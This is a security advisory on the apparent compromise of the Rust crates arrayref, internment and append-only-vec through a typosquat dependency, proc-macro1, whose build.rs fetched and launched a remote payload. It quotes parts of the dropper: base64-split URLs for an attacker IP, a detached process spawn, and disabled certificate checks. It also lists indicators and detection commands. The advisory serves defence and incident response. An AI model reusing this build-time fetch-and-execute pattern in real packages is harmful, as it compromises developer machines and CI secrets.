critical

CVE

Not assigned

CWE

CWE-295, CWE-494, CWE-506

Affected Surface

  • crates.io packages `arrayref@0.3.10`, `internment@0.8.7`, and `append-only-vec@0.1.9`
  • Rust developer workstations, CI runners, and release hosts that resolved or built those versions during the 20 August 2026 exposure window
  • Any Cargo build path that compiled the typosquat `proc-macro1@1.0.107` or the related attacker-controlled crates `proc-macro-en`, `aovine`, `arone`, `aronenao`, or `tinymember`
  • Downstream projects that refreshed `Cargo.lock` for ecosystems relying on `arrayref`, including GUI, crypto, Solana, and Ethereum tooling

The strongest new package-registry story from the last three days is the 20 August compromise of three widely used Rust crates: arrayref@0.3.10, internment@0.8.7, and append-only-vec@0.1.9. All three stayed close to their normal source code. The real weapon sat one layer lower in a new dependency, proc-macro1, a typosquat of proc-macro2. Cargo compiled that dependency’s build.rs automatically, which turned an ordinary cargo build into a remote payload fetch and execution path.

This matters because the malicious code did not need a runtime import, a test harness, or a post-install hook. For Rust, the trust boundary is often build.rs. Once a lockfile resolved the bad versions, compiling the project was enough.

Affected crates and the exposure window

The Rust security team, Wiz, Aikido, JFrog, and StepSecurity all align on the primary package set:

PackageMalicious versionWhat changed
arrayref0.3.10Added dependency on proc-macro1 = "1.0.107"
internment0.8.7Added the same dependency
append-only-vec0.1.9Added the same dependency
proc-macro11.0.107Typosquat carrier with malicious build.rs

The Rust blog also names a second group of attacker-controlled crates removed in the same response action:

proc-macro-en
aovine
arone
aronenao
tinymember

The confirmed exposure window was short, but it was long enough to matter on shared build infrastructure:

  • arrayref@0.3.10: online for about 86 minutes
  • internment@0.8.7: online for about 90 minutes
  • append-only-vec@0.1.9: online for about 107 minutes

That timing matters less than the execution surface. A single cargo update, fresh dependency resolution, or CI build against an unlocked tree was enough to pull the compromised versions.

Wiz and StepSecurity both call out how little changed in the compromised parent crates. The malicious arrayref release added a dependency that had no business being there:

[dependencies]
proc-macro1 = "1.0.107"

That line is the whole pivot. arrayref had gone roughly a decade without adding a real dependency. proc-macro1 was also a fresh lookalike of proc-macro2, one of the most common crates in Rust dependency graphs. A lockfile diff that replaced “no dependency” with a same-day typosquat should be treated as a release-compromise signal, even if the library’s own Rust code still looks normal.

StepSecurity’s timeline adds one more useful detail: the attacker also yanked older arrayref releases in a burst right after publishing 0.3.10. That does not break pinned builds, but it does create the usual Cargo warning that a stable version is yanked, nudging maintainers toward a lockfile refresh. In this case, the warning itself became part of the delivery path.

proc-macro1 was the actual payload carrier

The typosquat proc-macro1 copied the real proc-macro2 library source so the build could continue without obvious functional breakage. JFrog’s writeup is useful here because it isolates the attacker-added parts: a build.rs downloader plus build dependencies for HTTP, TLS, and base64 decoding.

The staging URLs were split into base64 fragments:

const SRC_URL_PARTS: &[&str] = &[
    "aHR0cHM6Ly8=",
    "MjMuMjU0Lg==",
    "MTY1Lg==",
    "MTEyOg==",
    "OTA4OS8="
];

const END_URL_PARTS: &[&str] = &[
    "MjMuMjU0Lg==",
    "MTY1Lg==",
    "MTEyOg==",
    "NDQz"
];

Multiple sources decode those fragments to the same infrastructure:

download host: https://23.254.165.112:9089/
follow-on C2 argument: 23.254.165.112:443

The downloader then selected a platform-specific artifact and launched it. JFrog captured the detached spawn pattern on Unix:

Command::new(&path)
    .arg(end_url())
    .stdin(Stdio::null())
    .stdout(Stdio::null())
    .stderr(Stdio::null())
    .spawn()

That is why the build often looked clean from the outside. The script fetched a second stage, executed it, and then let Cargo keep going.

Cargo’s build stage was the detonation point

The important operational fact is not just that a package was malicious. It is where the malicious code ran:

cargo update / cargo build
  -> resolve arrayref 0.3.10, internment 0.8.7, or append-only-vec 0.1.9
  -> pull proc-macro1 1.0.107
  -> compile and execute proc-macro1 build.rs
  -> download platform payload
  -> launch second stage on the build host

That path executes during compilation, not during application runtime. A developer never needed to call into arrayref, internment, or append-only-vec. CI did not need to ship the resulting binary. If the host ran Cargo and the resolver selected the poisoned versions, the build host had already crossed the dangerous boundary.

This is why the affected surface is larger than “teams that directly depend on arrayref.” arrayref sits underneath parts of tiny-skia, winit, blake3, and several Solana and Ethereum-adjacent trees. StepSecurity counted 406 dependent crate versions under arrayref alone. The right question is not “do we import this crate in our code?” It is “did any lockfile or cache on our build estate resolve this version during the window?”

TLS was present, but server authentication was not

One detail repeated across Wiz, JFrog, Aikido, and TuxCare is easy to miss if you only scan for cleartext download URLs: the network fetch used HTTPS, but the code disabled certificate validation with a custom verifier that accepted any certificate.

That means the downloader kept the appearance of TLS while dropping the trust property defenders usually assume TLS gives them. In practice, the flow was:

build.rs opens TLS connection
-> any certificate is accepted
-> remote binary is written to /tmp/rust-setup or %TEMP%\rust-setup.ps1
-> second stage is launched with 23.254.165.112:443

For defenders, this is one more reason to treat “encrypted” as a transport detail, not a signal that the download was legitimate.

A short publish window still left durable incident-response work

The Rust blog states that arrayref@0.3.10 was downloaded 2,285 times before removal, which represented less than 10% of arrayref traffic because many users already had older versions pinned. That is a useful constraint, but it should not make response teams relax. The main exposure is not package popularity by itself. It is the combination of:

  1. build-time execution on developer machines and CI runners
  2. a highly reused utility crate
  3. a short but real window where fresh lockfiles could resolve the bad versions

Wiz also published additional IOC detail for the second stage, including the /49890878 beacon path, /tmp/rust-setup, %TEMP%\rust-setup.ps1, and %TEMP%\rust-setup-launch.vbs. Their reporting further notes infrastructure overlap with earlier 2026 package attacks. That overlap is worth tracking, but for most AppSec teams the immediate job is simpler: scope every build host that could have executed the dropper, then rotate anything that host could reach.

Detection and scoping

Start with lockfiles and dependency trees:

rg -n 'name = "arrayref"|name = "internment"|name = "append-only-vec"|name = "proc-macro1"' Cargo.lock
cargo tree | rg 'arrayref v0\.3\.10|internment v0\.8\.7|append-only-vec v0\.1\.9|proc-macro1 v1\.0\.107'

Then check the local Cargo cache using the Rust team’s own search pattern:

find ~/.cargo/registry/cache -type f \( \
  -name 'append-only-vec-0.1.9.crate' -o \
  -name 'arrayref-0.3.10.crate' -o \
  -name 'internment-0.8.7.crate' -o \
  -name 'proc-macro1-*.crate' -o \
  -name 'proc-macro-en-*.crate' -o \
  -name 'aovine-*.crate' -o \
  -name 'arone-*.crate' -o \
  -name 'aronenao-*.crate' -o \
  -name 'tinymember-*.crate' \
\) -print

Then hunt execution and network indicators on developer machines and runners:

rg -n '23\.254\.165\.112|23\.254\.167\.107|/49890878|rust-setup|rust-setup-launch\.vbs' \
  "$HOME" /tmp ~/.cargo

High-signal review points:

  • Cargo.lock changes created on 2026-08-20
  • build logs from runners that executed fresh Cargo resolution during the window
  • egress to 23.254.165.112 on ports 9089 or 443
  • evidence of /tmp/rust-setup, %TEMP%\rust-setup.ps1, or %TEMP%\rust-setup-launch.vbs

Response guidance

If a host resolved or built any of the compromised crate versions, the safe assumption is host compromise.

  1. Pin back to arrayref@0.3.9, internment@0.8.6, and append-only-vec@0.1.8.
  2. Purge affected Cargo caches and any vendored copies of the deleted crates.
  3. Rotate credentials exposed to the build host, including CI secrets, signing keys, repository tokens, and cloud credentials.
  4. Rebuild artifacts produced during the exposure window from clean infrastructure.
  5. Keep an eye on developer workstations, not just CI, because local cargo build was enough to trigger the dropper.

The core lesson from the arrayref incident is that a popular crate does not need visibly malicious library code to become an attack vehicle. One new dependency plus an automatically executed build.rs was enough.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References